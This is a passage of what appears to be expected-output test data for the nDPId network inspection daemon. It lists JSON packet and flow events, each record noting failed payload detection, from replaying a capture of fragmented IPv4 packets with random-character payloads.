IPv4\/L4 payload detection failed","thread_id":0,"packet_id":922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309502,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309550,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309562,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309574,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309586,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309598,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309618,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309631,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309655,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309666,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309679,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00368{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":309702,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAikoKiZeJSQj"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1534244025609,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":16417,"dst_port":16419,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609837,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkAhQCMkJV4mKigpKComXiUNOgAA"} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609868,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609874,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609879,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609884,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609889,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609894,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609899,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609933,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609937,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609942,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609947,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609952,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609957,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":955,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609973,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":956,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":957,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609982,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":958,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":959,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":609996,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":960,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610006,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":961,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":962,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610024,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":963,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":964,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 